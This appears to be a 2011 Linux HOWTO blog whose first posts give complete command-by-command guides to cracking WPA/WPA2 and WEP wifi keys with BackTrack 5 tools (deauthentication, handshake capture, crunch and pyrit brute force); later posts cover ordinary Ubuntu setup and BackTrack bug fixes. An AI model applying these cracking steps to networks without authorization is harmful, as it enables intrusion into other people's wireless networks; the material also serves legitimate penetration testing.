Sunday, May 22, 2011

HOWTO : WPA/WPA2 cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

(A) General Display card

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]



Step 2 :

airmon-ng start wlan0

Step 3 (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up


Step 4 :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step 5 :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0

*where -c is the channel
           -w is the file to be written
           --bssid is the BSSID

This terminal is keeping running.

Step 6 :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step 7 :

Use the John the Ripper as word list to crack the WPA/WP2 password.

aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Step 8 (Optional) :

If you do not want to use John the Ripper as word list, you can use Crunch.

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install


/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

(B) nVidia Display Card with CUDA

If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.

Step a :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]



Step b :

airmon-ng start wlan0

Step c (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up


Step d :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step e :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0

Step f :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step g :

If the following programs are not yet installed, please do it.

apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy

Step h :

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install


Step i :

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).

tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
sudo python setup.py install


tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
sudo python setup.py install


Step j :

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step k (Optional) :

If you encounter error when reading the wpacrack-01.cap, you should do the following step.

pyrit -r wpacrack-01.cap -o new.cap stripLive

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step l :

Then, you will see something similar to the following.

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'new.cap' (1/1)...
Parsed 71 packets (71 802.11-packets), got 55 AP(s)

Tried 17960898 PMKs so far; 17504 PMKs per second.


Remarks :

If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.

To test if your wireless card (either USB or PCI-e) can do the injection or not :

airodump-ng mon0
Open another terminal.
aireplay-ng -9 mon0

Make sure pyrit workable on your system :

pyrit list_cores

That's all! See you.

HOWTO : WEP cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step 2 :

airmon-ng start wlan0

Step 3 :

airodump-ng mon0

Press "Ctrl+c" to break the program.

Step 4 :

airodump-ng -c 6 -w wepcrack --bssid 99:88:77:66:55:44 mon0

*where -c is the channel
            -w is the file to be written
            --bssid is the BSSID

Step 5 :

open another terminal.

aireplay-ng -1 0 -a 99:88:77:66:55:44 mon0

*where -a is BSSID

The terminal is keeping running.

Step 6 :

aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b 99:88:77:66:55:44 mon0

*where -c is client's MAC address (STATION)
            -b is BSSID

When asking "Use this packet?", answer "y".

Step 7 :

open another terminal.

aircrack-ng wepcrack*.cap

That's all! See you.

Saturday, May 21, 2011

HOWTO : Bug fix for Back|Track 5

BackTrack 5 is a Penetration Testing Distribution and it is released on May 10, 2011 and it comes with Gnome and KDE as well as 32-bit, 64-bit and ARM versions.

The following solutions are summarized from BackTrack 5 forum as at May 21, 2011 (GMT +8).

Bug #1 : Quick fix for scan modules not working in Armitage

cd /pentest/exploits/framework3/external/pcaprub/
ruby extconf.rb
make
make install


Bug #2 : Gnome - waiting for audio system to respond

mkdir ~/.config/autostart
nano ~/.config/autostart/pulseaudio.desktop


[Desktop Entry]
Type=Application
Exec=/usr/bin/pulseaudio
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=Pulseaudio
Comment=Start Pulseaudio


Bug #3 : Where is Fast-track on 64-bit system?

svn co http://svn.secmaniac.com/fasttrack fasttrack/
cd fasttrack
python setup.py install
mv ~/fasttrack/ /pentest/exploits/


Answer "yes" when asked during the captioned commands.

Bug #4 : Fix error when building nvidia-current

nano /usr/src/nvidia-current-195.36.24/nv.c

Change from :
.ioctl = nv_kern_ioctl,

To :
.unlocked_ioctl = nv_kern_unlocked_ioctl,

apt-get update
apt-get upgrade
apt-get install nvidia-current


If fail, try the below :

dkms build -m nvidia-current -v 195.36.24
dkms install -m nvidia-current -v 195.36.24
modprobe nvidia-current


Bug #5 : White screen of death (ATi display card)

nano /etc/default/grub

Change from :
GRUB_CMDLINE_LINUX_DEFAULT="text splash"

To :
GRUB_CMDLINE_LINUX_DEFAULT="text splash radeon.modeset=0"

Bug #6 : airdrop-ng and pylorcon

apt-get install python-dev

Bug #7 : xgps on 64-bit system

Go to the following link :
http://archive.eclipse.org/eclipse/downloads/drops/R-3.5.2-201002111343/index.php#SWT

Download "Linux (x86_64/GTK 2)", version is 3.5.2 at the time of this writing :

http://archive.eclipse.org/eclipse/downloads/drops/R-3.5.2-201002111343/download.php?dropFile=swt-3.5.2-gtk-linux-x86_64.zip

unzip swt-3.5.2-gtk-linux-x86_64.zip
cp swt.jar /usr/share/xgpsmanager


Bug #8 : Gnome - Ettercap-gtk crashes while scanning for hosts

Please refer to the following link :
http://www.backtrack-linux.org/forums/backtrack-5-bugs/40556-ettercap-gtk-crashes-while-scanning-hosts.html

Bug #9 : SET configuration bug

cd /pentest/exploits/set/config
nano set_config


Change from :
DNSSPOOF_PATH=/usr/sbin/dnsspoof

To :
DNSSPOOF_PATH=/usr/sbin/local/dnsspoof

and

Change from :
AIRBASE_NG_PATH=/pentest/wireless/aircrack-ng/src/airbase-ng

To :
AIRBASE_NG_PATH=/usr/local/sbin/airbase-ng

Bug #10 : Teensy/SET

Please refer to the following link :
http://www.backtrack-linux.org/forums/backtrack-5-fixes/40484-bt5-kde-64bit-teensy-s-e-t.html

Remarks :

BackTrack 5 site

BackTrack 5 Download

BackTrack 5 wiki

BackTrack Forum

That's all! See you.

Wednesday, May 18, 2011

HOWTO : Octoshape on Ubuntu 11.04 Desktop

When listen to the online radio of RTHK at http://www.rthk.org.hk, you may find a "HQ" button. This button activates a third party plugin namely Octoshape which can deliver high quality video and audio streaming. Now, you can enjoy this high quality radio streaming on Ubuntu 11.04.

Step 1 :

Install the plugin. No matter you have 32-bit or 64-bit system, you can follow the commands below to install. The plugin will be installed at your home directory.

wget http://www.octoshape.com/files/octosetup-linux_i386.bin
chmod +x octosetup-linux_i386.bin
./octosetup-linux_i386.bin


Step 2 :

Make sure the client is running in the terminal (the commands below) when playback the HQ video and / or audio.

cd octoshape
./OctoshapeClient


Step 3 :

Open Firefox and go to RTHK and select one of the online programme by clicking "HQ" button. Make sure the Octoshape Client is running as per Step 2.

Now, you can enjoy the HQ video and / or audio on the website.

That's all! See you.

Monday, May 16, 2011

HOWTO : Unity Interface's Shortcut Keys and Mouse Tricks

Super Key(Windows Key) - Opens dash.

Hold Super Key - Invokes Launcher.

Hold Super Key and hit 1, 2, 3 etc - Open an Application from Launcher. When you hold the Super Key, specific numbers will be displayed in order above each application.

Alt + F1 - Put keyboard focus on the Launcher, use arrow keys to navigate, Enter launches the application, Right arrow exposes the quicklists if an application has them.

Alt + F2 - Opens dash in special mode to run any commands.

Super + A - Opens up application window from launcher.

Super + F - Opens up files and folders window from launcher. Both these shortcuts can be viewed by simply holding the Super Key as well.

Super + W - Spread mode, zoom out on all windows in all workspaces.

Super + D - Minimize all windows(acts as Show Desktop). Hitting it again restores them.

Super + T - Opens trash can.

Super + S - Expo mode (for everything), zooms out on all the workspaces and let's you manage windows.

Ctrl + Alt + T - Launch Terminal.

Ctrl + Alt + L - Lock Screen.

Ctrl + Alt + Left/Right/Up/Down - Move to new workspace.

Ctrl + Alt + Shift + Left/Right/Up/Down - Place window to a new workspace.

F10 - Open the first menu on top panel, use arrows keys to browse across the menus.

Mouse Shortcuts/Tricks for Ubuntu Unity

* Clicking and holding an icon and then dragging it around will allow you to reorder it on the launcher. You can also drag it off to the right of the launcher to move it around. Note that you need to make an explicit movement to the right to move the icon off the launcher before you can move it around.

* Dragging and Dropping an icon into the trash can will remove it from the Launcher.

* Moving and holding the cursor on the left side for a few seconds will launch Unity dock.

* Moving the cursor to top-left corner(near Ubuntu icon) will launch Unity dock as well.

* Scrolling the mouse wheel while over the Launcher scrolls the icons if you have too many and need to move around quickly.

* By Scrolling the mouse wheel while over the Sound icon on top panel helps you increase or decrease system volume.

* Middle click on an application's launcher icon - Open a new instance of the application in a new window. Very useful at times. In laptops with touchpads, hitting left/right click buttons together is akin to middle click.

* Maximizing - Dragging a window to the top panel will maximize it.

* Restore/Unmaximize - Dragging the top panel down OR double clicking on the top panel will do.

* Tiling - Dragging a Window to the left/right border will auto tile it to that side of the screen. One of the highlights of new Unity experience.

And Some Useful Window Management Shortcuts
Alt + F10 - Toggle between Maximize/Unmaximize current window.

Alt + F9 - Minimize current window.

Alt + Tab - Toggle between currently open windows.

Alt + F4 - Closes current window.

Alt + F7 - Moves the current window(both keyboard and mouse can be used

By the way, you can download the captioned shortcut key wallpaper at here.

That's all! See you.

HOWTO : Blank screen when boot up Ubuntu 11.04 Desktop

I have a very old SONY laptop and the model is PCG-TR1. The following is the display card of the laptop :

lspci | grep VGA

00:02.0 VGA compatible controller: Intel Corporation 82852/855GM Integrated Graphics Device (rev 02)

You can boot up the Live CD or DVD and install the system properly. It is no problem when the first boot up after the installation. However, it will be blank screen / black screen on the second and later boot up.

How to overcome this problem? Yes, I can and going to tell you.

Step 1 :

The screen will go blank and black in the second boot and later. Don't worry, just press the following key combination. Yes, just complete the following key combination.

Press ctrl+alt+F5, ctrl+alt+F7, ctrl+alt+F5, and then ctrl+alt+F7

Then, you will see the login screen again. You should press the key combination every time when you boot up your system.

However, the Unity 3D interface and special effect do not support but classic is working fine.

Step 2 (Optional) :

To use Unity 2D interface instead of Gnome classic interface.

sudo apt-get update
sudo apt-get install unity-2d


Reboot your system.

Select "Unity 2D" at the bottom of the screen when login to the system after the next boot up.

Remarks :

Some laptops that equipped with other model of Intel integrated display cards may encounter other problems, such as blinking screen. Someone out there suggest to update the xorg packages may solve the problems.

sudo add-apt-repository ppa:xorg-edgers/ppa
sudo apt-get update
sudo apt-get dist-upgrade


That's all! See you.

Saturday, May 14, 2011

HOWTO : SopCast and PPStream on Ubuntu 11.04 Desktop Made Easy

SopCast is online TV and PPStream is online movie of China. Now, you can watch these online TV and movies on Totem. This tutorial is written for any person who know Chinese.

Step 1 :

sudo apt-add-repository ppa:cnav/ppa
sudo apt-get update


Step 2 :

SopCast :

sudo apt-get install sopcast gst-plugins-sopcast totem-sopcast

PPStream :

sudo apt-get install ppstream gst-plugins-pps totem-plugin-pps totem-pps

Step 3 :

Open Totem. Select "Edit" -- "Plugins" on the menu.

Enable "SopCast browser" and "PPStream browser".

Enable "Show channel name in Chinese" at "Setup" of "SopCast". This step is important if you want to use "Step 6" below; otherwise, some channels cannot be shown up.

Select "SopCast" or "PPStream" at the right hand side's sidebar and enjoy it.

Step 4 (Optional) :

Enter "about:config" (without quote) at the address field of Firefox. Right click on any empty place. Select "Add", then choose "Boolean". Enter "network.protocol-handler.expose.pps" (without quote) to the place provided. Then choose "false".

Go to http://kan.pps.tv/ and choose any movie and select "Client Playback" (客戶端播放). Then select "/usr/bin/totem" from the file system.

The video will be playback on the Totem after clicking on the "Client Playback".

Step 5 (Optional) :

Install GMLive for SopCast channels as the channel of SopCast at Totem does not work.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gmlive


(a) Open GMLive and select "Tools" on the menu. "Preference" -- "SopCast"

Change the values as the following :
Mplayer cache : 8192 Kbs
Boardcast URL : http://www.sopcast.com/gchlxml


(b) Open GMLive and select "Tools" on the menu. "Preference" -- "GMLive"

Disable "PPLive support".
PPStream function does not work at GMLive.

Football channels for example :
"Vozao.com" and "Sports Channel" on the list of SopCast.

Step 6 (Optional) :

(a) If you want to use the channel list of GMLive instead of Totem's one, you can copy it.

mv ~/.local/share/totem/plugin/sopcast/channels.xml ~/.local/share/totem/plugin/sopcast/channels.xml-original

cp ~/.config/gmlive/sopcast.lst ~/.local/share/totem/plugin/sopcast/channels.xml

(b) Or, if you do not want to install GMLive, you can download the channel list for SopCast official site.

mv ~/.local/share/totem/plugin/sopcast/channels.xml ~/.local/share/totem/plugin/sopcast/channels.xml-original

wget http://www.sopcast.com/gchlxml
cp gchlxml ~/.local/share/totem/plugin/sopcast/channels.xml


The same football channels as "Step 5" are at the "Other" on the right hand side of the Totem. They are "Sport" and "Soccerhd.info".

Remarks :

Some channels of SopCast on Totem are not working. However, sports channel of CCTV is working properly. Fortunately, it can be overcame by doing the "Step 6(a)" or "Step 6(b)".

The video playback with PPStream on Totem will not be counted at the webpage of http://kan.pps.tv/. Therefore, some of the movies cannot be watched.

PPStream does not work on GMLive. PPLive does not support on GMLive in this tutorial.

** If you are using Ubuntu Samiux Remix 11.04 r0.8.1 or later, the captioned steps had been completed for you (but except the Firefox step). You can use it right away. You can download it at here.

UPDATED

Today (2011-June-11), I cannot use Totem to watch PPStream and the reason is still unknown. However, PPStream can be (Search for the application namely PPStream by press "Super" key). Just go to "Tool" -- "Option" -- "Select Sound device" and choose "alsa" to enable the sound of the PPStream.

That's all! See you.

Saturday, May 07, 2011

HOWTO : HD video playback on Ubuntu 11.04 Desktop

Step 1 - Install the official driver and SMPlayer from Ubuntu :

Install the official nVidia or ATi display card driver from the "Hardware drivers" from your Ubuntu 11.04 system. Then, install SMPlayer for the video player.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install smplayer


Step 2 - SMPlayer configuration :

(A) Open the SMplayer. Select "Option" -- "Preference".

Go to "General" on the left hand side :

(1) If you have an nVidia display card :
"General" -- "Video" -- "Output driver" : vdpau

(2) If you have an ATi/AMD Radeon display card :
"General" -- "Video" -- "Output driver" : xv (0 - ATI Radeon AVIVO video)

(B) Go to "Performance" on the left hand side :
"Performance" -- "Cache" -- "Local" : 99999 kb
"Performance" -- "Cache" -- "Streaming" : 99999 kb

"Performance" -- "Performance" -- "Allow hard frame drop (can lead to image distortion)" : Enable
"Performance" -- "Performance" -- "H.264" -- select "loop filter (only skip on HD moive)"

If you have dual core CPU -
"Performance" -- "Performance" -- "Decoding thread (only MEG-1/2 and H.264)" : 2

Remarks :

Lenovo ThinkPad X100e, which is equipped with ATi Radeon HD3200 and AMD Athlon Neo MV-40 single processor, can playback HD movies (such as MKV) smoothly.

That's all! See you.

Tuesday, May 03, 2011

HOWTO : nVidia CUDA 4.0 RC on Ubuntu 11.04 Server

If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA 4.0 RC on Ubuntu 11.04 Server.

You will experience a faster server after the installation of CUDA 4.0.

This HOWTO does not require to install X.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

Step 3 :

sudo nano /etc/init.d/nvidia_cuda

Append the following lines.

============= Copy from here ================
#!/bin/bash

PATH=/sbin:/bin:/usr/bin:$PATH

/sbin/modprobe nvidia

if [ "$?" -eq 0 ]; then

   # Count the number of NVIDIA controllers found.
   N3D=`/usr/bin/lspci | grep -i NVIDIA | grep "3D controller" | wc -l`
   NVGA=`/usr/bin/lspci | grep -i NVIDIA | grep "VGA compatible controller" | wc -l`

   N=`expr $N3D + $NVGA - 1`
   for i in `seq 0 $N`; do
      /bin/mknod -m 666 /dev/nvidia$i c 195 $i;
   done

   /bin/mknod -m 666 /dev/nvidiactl c 195 255

else
   exit 1
fi


=========== Copy to here =================

Step 4 :

sudo chmod +x /etc/init.d/nvidia_cuda
sudo update-rc.d nvidia_cuda defaults

Step 5 :

Reboot your system.

Remarks

I do not have nVidia display cards server in hand at the moment, I am not sure the captioned startup script working properly or not.

That's all! See you.

HOWTO : nVidia CUDA 4.0 RC on Ubuntu 11.04 Desktop

If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA 4.0 RC on Ubuntu 11.04 Desktop.

You will experience a faster desktop after the installation of CUDA 4.0. Meanwhile, if you installed SMPlayer, you can playback 1080p videos with the help of vdpau.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

Step 2a :

If you do not have any nVidia driver installed before, you need to do the following command. Otherwise, this step is not required at all.

sudo nvidia-xconfig

Step 3 :

Reboot your system.

Step 4 (Optional) :

To install SMPlayer.

sudo apt-get install smplayer smplayer-translations smplayer-themes

Then set it to use "vdpau" at "Output Driver" at "Preference".

Known issue

Sample codes cannot be compiled successful due to newer C compiler. However, you can download the sample programs which are compiled with C compiler of Ubuntu 10.10. The compiled sample programs are in 64-bit.

sudo apt-get install freeglut3-dev libxi-dev libXmu-dev

tar -xvzf CUDA_4.0_samples_x64.tar.gz
cd CUDA_4.0_samples_x64
./nbody

That's all! See you.

Monday, May 02, 2011

Hints on installation of Ubuntu 11.04

Ubuntu 11.04 comes with a new theme namely Unity. It is a 3D theme that requires 3D display driver.

If you have an nVidia or ATi/AMD display cards, you should install the display driver after the installation of Ubuntu 11.04. Otherwise, you will be in Classic interface instead of Unity.

Or, may be you can install the 2D Unity instead.

sudo apt-get install unity-2d

Furthermore, the 3D Unity will be installed automatically on Intel display card system.

In addition, if you are going to install Ubuntu 11.04 on a laptop or netbook, you should plug in the power cable; otherwise, your interface after the installation will be in a mess.

If you considered to upgrade from 10.10, I recommended to fresh install as some previous settings of Gnome may affect to the new interface - Unity as well as Firefox 4. Before fresh install, please backup all your data.

By the way, if you encounter the blank screen or black screen on Intel display card system, you can refer to this tutorial.

The following is the video which shows you how to operate with the Unity on my remastered Ubuntu Samiux Remix :



That's all! See you.

HOWTO : Moonlight on Ubuntu 11.04

Moonlight is a clone of Microsoft Silverlight for Linux. Ubuntu 11.04 has it in the repository.

Step 1 :

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install libmoon moonlight-plugin-mozilla moonlight-plugin-core


Step 2 :

Go to the official Mono site to download and install the addon for Firefox.

Mono site

Step 3 (Optional) :

Go to Hong Kong Jockey Club website to test the result of the installation. You may required to install Microsoft Video Media Codec. Just do so to install.

After that, restart your Firefox to make the addon works.

Remarks :

When the Firefox is updated to 5.0, the Moonlight is not supported. However, you can download "Add-on Compatibility Reporter" to overcome this problem.

Add-on Compatibility Reporter

That's all! See you.

Saturday, April 30, 2011

HOWTO : Ubuntu 11.04 on Gigabyte TouchNote T1028X/M1028

Gigabyte TouchNote T1028X/M1028 equipped with Intel Atom N280 and eGalax touch screen. It runs Ubuntu 11.04 flawlessly except touchpad. This tutorial is telling you how to overcome this problem.

"lsusb" shows the following :

Bus 005 Device 002: ID 0eef:0001 D-WAV Scientific Co., Ltd eGalax TouchScreen

Step 1 :

Boot up the system and press "Ctrl+Alt+t" to open a terminal.

sudo nano /etc/default/grub

Append "i8042.noloop=1" to "GRUB_CMDLINE_LINUX_DEFAULT".

It will look like this :

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash i8042.noloop=1"

Save and exit.

sudo update-grub

Step 2 :

sudo nano /etc/modprobe.d/blacklist.conf

Append the following to the file.

blacklist usbtouchscreen

Step 3 :

Reboot your system.

That's all! See you.

Wednesday, April 27, 2011

HOWTO : Wipe hard drive safety and completely

Darik's Boot and Nuke (DBAN) is a self-contained boot disk that securely wipes the hard disks of most computers. DBAN will automatically and completely delete the contents of any hard disk that it can detect, which makes it an appropriate utility for bulk or emergency data destruction.

There are some wipe methods, they are Quick Erase, RCMP TSSIT OPS-II, DoD Short, DoD 520.22-M, Gutmann Wipe and PRNG Stream. Where DoD is The American Department of Defense. The default is The American Department of Defense 5220.22-M short wipe (DoD Short).

It is a very easy to use utility. A 300GB hard drive will take about 2 or 3 hours to wipe with the DoD Short method. The hard drive after the wipe is like a brand new one.

You can download it at here. Then, burn it in a CD-ROM or create a bootable USB stick with UNetBootin.

That's all! See you.

Sunday, April 24, 2011

HOWTO : nVidia CUDA 4.0 RC on Ubuntu 10.10 Server

If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA 4.0 RC on Ubuntu 10.10 Server.

You will experience a faster server after the installation of CUDA 4.0.

This HOWTO does not require to install X.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc nvidia-current-modaliases libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev nvidia-kernel-common opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc nvidia-current-modaliases lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev nvidia-kernel-common opencl-headers

Step 3 :

sudo nano /etc/init.d/nvidia_cuda

Append the following lines.

============= Copy from here ================
#!/bin/bash

PATH=/sbin:/bin:/usr/bin:$PATH

/sbin/modprobe nvidia

if [ "$?" -eq 0 ]; then

   # Count the number of NVIDIA controllers found.
   N3D=`/usr/bin/lspci | grep -i NVIDIA | grep "3D controller" | wc -l`
   NVGA=`/usr/bin/lspci | grep -i NVIDIA | grep "VGA compatible controller" | wc -l`

   N=`expr $N3D + $NVGA - 1`
   for i in `seq 0 $N`; do
      /bin/mknod -m 666 /dev/nvidia$i c 195 $i;
   done

   /bin/mknod -m 666 /dev/nvidiactl c 195 255

else
   exit 1
fi


=========== Copy to here =================

Step 4 :

sudo chmod +x /etc/init.d/nvidia_cuda
sudo update-rc.d nvidia_cuda defaults

Step 5 :

Reboot your system.

Remarks

I do not have nVidia display cards server in hand at the moment, I am not sure the captioned startup script working properly or not.

That's all! See you.

Saturday, April 23, 2011

HOWTO : nVidia CUDA 4.0 RC on Ubuntu 10.10 Desktop

If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA 4.0 RC on Ubuntu 10.10 Desktop.

You will experience a faster desktop after the installation of CUDA 4.0. Meanwhile, if you installed SMPlayer, you can playback 1080p videos with the help of vdpau.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc nvidia-current-modaliases libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev nvidia-kernel-common opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc nvidia-current-modaliases lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev nvidia-kernel-common opencl-headers

Step 2a :

If you do not have any nVidia driver installed before, you need to do the following command. Otherwise, this step is not required at all.

sudo nvidia-xconfig

Step 3 :

Reboot your system.

Step 4 (Optional) :

To install SMPlayer.

sudo apt-get install smplayer smplayer-translations smplayer-themes

Then set it to use "vdpau" at "Output Driver" at "Preference".

Step 5 - Compiling of nVidia CUDA sample codes (Optional)

Some sample codes at gpucomputingsdk_4.0.13_linux.run cannot be compiled successfully. However, I would like to share how I compile some of them.

(a) Install the gupcomputingsdk with the following command and accepted the default setting that it provides.

sudo apt-get install freeglut3-dev libxi-dev libXmu-dev

Go to the following link :
http://developer.nvidia.com/cuda-toolkit-40#Linux

wget http://developer.download.nvidia.com/compute/cuda/4_0_rc2/sdk/gpucomputingsdk_4.0.13_linux.run

sudo chmod +x gpucomputingsdk_4.0.13_linux.run
sh gpucomputingsdk_4.0.13_linux.run

(b) Set the environment :

sudo nano /etc/environment

Append the following at the end of the entry.

:/usr/lib/nvidia-current:/usr/lib/nvidia-cuda-toolkit

source /etc/environment

(b1) Set LD_LIBRARY_PATH :

sudo nano /etc/ld.so.conf.d/cuda.conf

Append the following lines to the file.

/usr/lib/nvidia-current
/usr/lib/nvidia-cuda-toolkit

sudo ldconfig

(b2) Create a softlink of libcuda.so :

sudo ln -s /usr/lib/nvidia-current/libcuda.so /usr/lib/
sudo ln -s /usr/lib/nvidia-current/libcuda.so.1 /usr/lib/


(c) Make softlink to the /usr/include/thrust :

sudo mkdir /usr/lib/include
sudo ln -s /usr/include/thrust /usr/lib/include/


(c1) Add the path of new location of thrust to the common/common.mk :

sudo nano ~/NVIDIA_GPU_Computing_SDK/C/common/common.mk

Go to line 64 and add "-I/usr/lib/include" :

Change from -
INCLUDES += -I. -I$(CUDA_INSTALL_PATH)/include -I$(COMMONDIR)/inc -I$(SHAREDDIR)/inc

Change to -
INCLUDES += -I. -I$(CUDA_INSTALL_PATH)/include -I/usr/lib/include -I$(COMMONDIR)/inc -I$(SHAREDDIR)/inc

(d) Compiling of the sample code :

cd NVIDIA_GPU_computing_SDK/C
make


The executable sample codes will be situated at ~/NVIDIA_GPU_Computing_SDK/C/bin/linux/release/

Run the sample codes as the following, e.g. nbody and deviceQuery :

./nbody
./deviceQuery

(e) According to the developer of the PPA, this issue (Step 5(b) to Step 5(c1)) (Step 5(c) to Step 5(c1)) may be caused by the SDK itself and nvcc compiler. However, if you install the official SDK, there is no such problem.

***(f) The CUDA 4.0 PPA just updated today (April 26, 2011 GMT+8) and it solved the Step 5(b) to Step 5(b2) problem.

That's all! See you.

Thursday, April 21, 2011

HOWTO : Undelete files and directories on Ubuntu

extundelete is a utility that can recover deleted files from an ext3 or ext4 partition.

Hereby, I am going to show to how to compile and install this utility from source on Ubuntu 10.10. The current version of extundelete is 0.2.0 at this time of writing.

Step 1 :

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install build-essential libtool e2fslibs-dev autoconf automake autotools-dev m4 e2fslibs e2fsprogs


